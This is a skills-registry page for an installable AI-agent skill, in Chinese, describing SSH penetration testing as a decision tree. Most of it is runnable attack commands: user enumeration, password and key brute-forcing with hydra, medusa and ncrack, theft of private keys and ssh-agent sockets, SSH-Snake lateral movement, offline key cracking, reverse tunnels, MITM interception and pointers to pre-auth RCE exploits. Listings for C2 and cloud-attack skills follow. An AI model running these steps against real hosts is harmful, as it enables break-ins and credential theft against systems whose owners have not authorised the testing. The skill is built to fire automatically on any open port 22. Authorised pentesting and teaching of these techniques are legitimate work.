skills/exploit/network-service/ssh-pentesting/SKILL.md
SSH 服务(22 端口)渗透测试方法论。涵盖 SSH 服务发现与版本识别、认证方式枚举、用户名枚举(CVE-2018-15473)、凭据爆破(密码/密钥)、SSH 隧道与端口转发、已知漏洞利用、SSH 密钥窃取与复用。 当 Agent 扫描发现 22 端口开放、需要测试 SSH 认证强度、枚举 SSH 用户、或通过 SSH 建立隧道进行横向移动时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity ssh-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 22 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ Banner 抓取 -> 确定 SSH 实现 (OpenSSH / Dropbear / libssh / Erlang)
│ ├─ 版本号 -> 对照已知漏洞 (Phase 7)
│ └─ 算法审计 (ssh-audit) -> 标记弱密码套件
├─ Phase 2: 认证方式枚举
│ ├─ 支持 publickey + password -> 可尝试密码爆破 (Phase 4)
│ ├─ 仅 publickey -> 搜索泄露密钥 / 弱密钥 (Phase 4)
│ ├─ keyboard-interactive -> 可能存在 2FA / PAM
│ └─ gssapi-with-mic -> Kerberos SSO 环境
├─ Phase 3: 用户名枚举
│ ├─ OpenSSH < 7.7 -> CVE-2018-15473 时序枚举
│ └─ 已知用户名 -> 进入 Phase 4
├─ Phase 4: 凭据攻击
│ ├─ 密码爆破 (hydra / medusa / ncrack)
│ ├─ 私钥爆破 (已知密钥集 / Debian 弱 PRNG 密钥)
│ └─ 默认凭据 (设备厂商默认 SSH 密码)
├─ Phase 5: SSH 隧道与端口转发
│ ├─ 本地转发 (-L) -> 访问内网服务
│ ├─ 远程转发 (-R) -> 反向代理到攻击机
│ ├─ 动态转发 (-D) -> SOCKS 代理
│ └─ SFTP 隧道 -> 受限环境下数据传输
├─ Phase 6: 密钥窃取与复用
│ ├─ 目标主机 -> 搜集 id_rsa / id_ed25519 / authorized_keys
│ ├─ SSH-Snake -> 自动化密钥发现与横向移动
│ └─ ssh-agent 劫持 -> 复用内存中的密钥
└─ Phase 7: 已知漏洞
├─ CVE-2024-6387 (regreSSHion) — OpenSSH 8.5p1-9.7p1 pre-auth RCE
├─ CVE-2024-3094 (xz 后门) — 供应链攻击 liblzma hook
├─ CVE-2025-32433 — Erlang/OTP SSH pre-auth RCE
├─ CVE-2018-10933 — libssh 认证绕过
└─ CVE-2018-15473 — OpenSSH 用户名枚举
# 手动 Banner 抓取
nc -vn <IP> 22
# Nmap 服务版本 + 默认脚本
nmap -sV -sC -p 22 <IP>
# 获取服务器公钥指纹
ssh-keyscan -t rsa <IP> -p 22
# ssh-audit — 自动分析算法强度与已知 CVE
ssh-audit <IP>
# Nmap 算法枚举
nmap -p 22 --script ssh2-enum-algos <IP>
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full <IP>
关键判断:
# 使用 verbose 模式查看认证方式
ssh -v <IP> -o PreferredAuthentications=none
# Nmap 认证方式检测
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" <IP>
认证方式枚举结果
├─ publickey + password
│ ├─ 尝试密码爆破 (Phase 4)
│ └─ 搜索泄露密钥
├─ 仅 publickey
│ ├─ 搜索 authorized_keys 泄露
│ ├─ 尝试已知弱密钥 (Debian PRNG)
│ └─ 搜索 Git 仓库 / 备份中的私钥
├─ password 被禁用但 keyboard-interactive 存在
│ └─ 强制指定: ssh -o PreferredAuthentications=keyboard-interactive <IP>
└─ gssapi-with-mic
├─ Kerberos 域环境 -> 尝试 TGT 认证
└─ kinit <user> && ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
适用于 OpenSSH < 7.7 — 通过认证请求的响应时间差异判断用户是否存在。
# Metasploit 模块
msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set USER_FILE users.txt; run; exit'
用户名来源
├─ OSINT (LinkedIn / 企业邮箱格式推断)
├─ 已获得的其他服务枚举结果 (LDAP / SMB / Web)
├─ 默认用户名尝试: root, admin, user, test, git, deploy, ubuntu, ec2-user
└─ Shodan / Censys 历史数据
已获得用户名列表
├─ 密码爆破
│ ├─ hydra -l <user> -P wordlist.txt -t 4 ssh://<IP>
│ ├─ medusa -h <IP> -u <user> -P wordlist.txt -M ssh
│ └─ ncrack -p 22 --user <user> -P wordlist.txt <IP>
│ 注意: SSH 通常有 MaxAuthTries 限制 (默认 6),低速爆破
├─ 私钥爆破
│ ├─ Nmap: nmap --script ssh-publickey-acceptance --script-args 'ssh.publickey=keys/' -p 22 <IP>
│ ├─ Metasploit: use scanner/ssh/ssh_identify_pubkeys
│ └─ ssh-keybrute (Python3, 支持旧算法)
├─ 已知弱密钥
│ ├─ Debian 预测 PRNG 密钥集 (g0tmi1k/debian-ssh)
│ └─ 厂商默认密钥 (rapid7/ssh-badkeys)
└─ 默认凭据
└─ -> 读 references/ssh-techniques.md #默认凭据表
SFTP 使用相同的 SSH 认证机制,爆破命令相同。获得 SFTP 访问后注意检测命令执行绕过。
# 即使 shell 被限制为 nologin,尝试直接执行命令
ssh -v <user>@<IP> /bin/bash
已获得 SSH 访问
├─ 需要访问目标内网服务
│ └─ 本地转发: ssh -L <本地端口>:<内网IP>:<内网端口> <user>@<IP>
├─ 需要让目标访问攻击机服务
│ └─ 远程转发: ssh -R <远程端口>:127.0.0.1:<本地端口> <user>@<IP>
├─ 需要全流量代理
│ └─ 动态转发: ssh -D 1080 <user>@<IP>
│ └─ 配合 proxychains 使用
├─ SFTP 隧道 (受限环境)
│ └─ ssh -L <端口>:<目标>:<端口> -N -f <user>@<跳板IP>
└─ SSH 配置限制转发
├─ AllowTcpForwarding no -> 隧道被禁用
└─ PermitTunnel no -> TUN/TAP 被禁用
└─ 但可能绕过: 通过 ProxyCommand 或 nc 实现简易隧道
在 chroot SFTP 环境中,若有写权限,可创建指向系统根目录的符号链接:
sftp> symlink / froot
如果该链接可通过 Web 等非 chroot 服务访问,则实现文件系统穿越。
已获得目标主机访问
├─ 搜索私钥文件
│ ├─ 常见路径: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa
│ ├─ 配置文件: /etc/ssh/ssh_config, ~/.ssh/config (可能含代理跳板)
│ └─ 历史命令 / .bash_history 中的 ssh 连接记录
├─ 检查 authorized_keys -> 关联其他主机
├─ known_hosts -> 发现网络内其他 SSH 主机
│ └─ 若未哈希 -> 直接获取 IP/hostname
├─ SSH Agent 劫持
│ ├─ 检查 SSH_AUTH_SOCK 环境变量
│ └─ 存在 -> SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx ssh <next_target>
└─ SSH-Snake 自动化
└─ 自动发现本机私钥 -> 匹配可达主机 -> 递归传播
# 加密私钥 -> 提取哈希后离线破解
ssh2john id_rsa > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash
hashcat -m 22921 id_rsa.hash rockyou.txt
SSH 版本已知
├─ OpenSSH 8.5p1–9.7p1
│ └─ CVE-2024-6387 (regreSSHion) — pre-auth 信号处理竞态 RCE
│ ├─ 确认: ssh -V 获取版本; 检查 LoginGraceTime 是否非零
│ └─ -> 读 references/ssh-techniques.md #CVE-2024-6387
├─ 系统使用 xz 5.6.0 / 5.6.1 (x86-64 Linux + systemd)
│ └─ CVE-2024-3094 — xz/liblzma 供应链后门
│ ├─ 确认: xz --version; ldd /usr/sbin/sshd | grep lzma
│ └─ -> 读 references/ssh-techniques.md #CVE-2024-3094
├─ Erlang/OTP SSH (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20)
│ └─ CVE-2025-32433 — pre-auth 状态机绕过 RCE
│ ├─ 确认: 端口 22/2022/830/2222 上的 Erlang banner
│ └─ -> 读 references/ssh-techniques.md #CVE-2025-32433
├─ libssh 0.6–0.8 (服务端)
│ └─ CVE-2018-10933 — 客户端发送 USERAUTH_SUCCESS 绕过认证
├─ OpenSSH < 7.7
│ └─ CVE-2018-15473 — 用户名枚举 (Phase 3)
└─ 批量漏洞扫描
└─ nmap -p 22 --script "ssh-vuln*,ssh2-enum-algos" <IP>
适用于与目标处于同一网络:
SSH 中间人攻击
├─ ARP 欺骗 / DNS 欺骗 -> 重定向流量到攻击机
├─ ssh-mitm 工具 -> 代理 SSH 连接
│ ├─ 截获用户名与密码
│ ├─ 转发命令到真实服务端
│ └─ 用户端无感知 (需处理主机密钥警告)
└─ 前提: 目标未严格验证主机密钥 (StrictHostKeyChecking)
获取访问权限后检查 /etc/ssh/sshd_config 中的危险配置:
| 配置项 | 风险说明 |
|-------|---------|
| PermitRootLogin yes | 允许 root 直接登录 |
| PasswordAuthentication yes | 允许密码认证 (爆破风险) |
| PermitEmptyPasswords yes | 允许空密码登录 |
| AllowTcpForwarding yes | 允许端口转发 (隧道) |
| X11Forwarding yes | 允许 X11 转发 (键盘记录) |
| AuthorizedKeysFile 自定义路径 | 后门密钥可能隐藏在非标准位置 |
| ForceCommand 未设置 | SFTP 用户可能执行任意命令 |
关键文件:
ssh_config / sshd_config — 客户端/服务端配置authorized_keys — 授权公钥known_hosts — 已知主机 (可泄露网络拓扑)id_rsa / id_ed25519 — 私钥文件testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能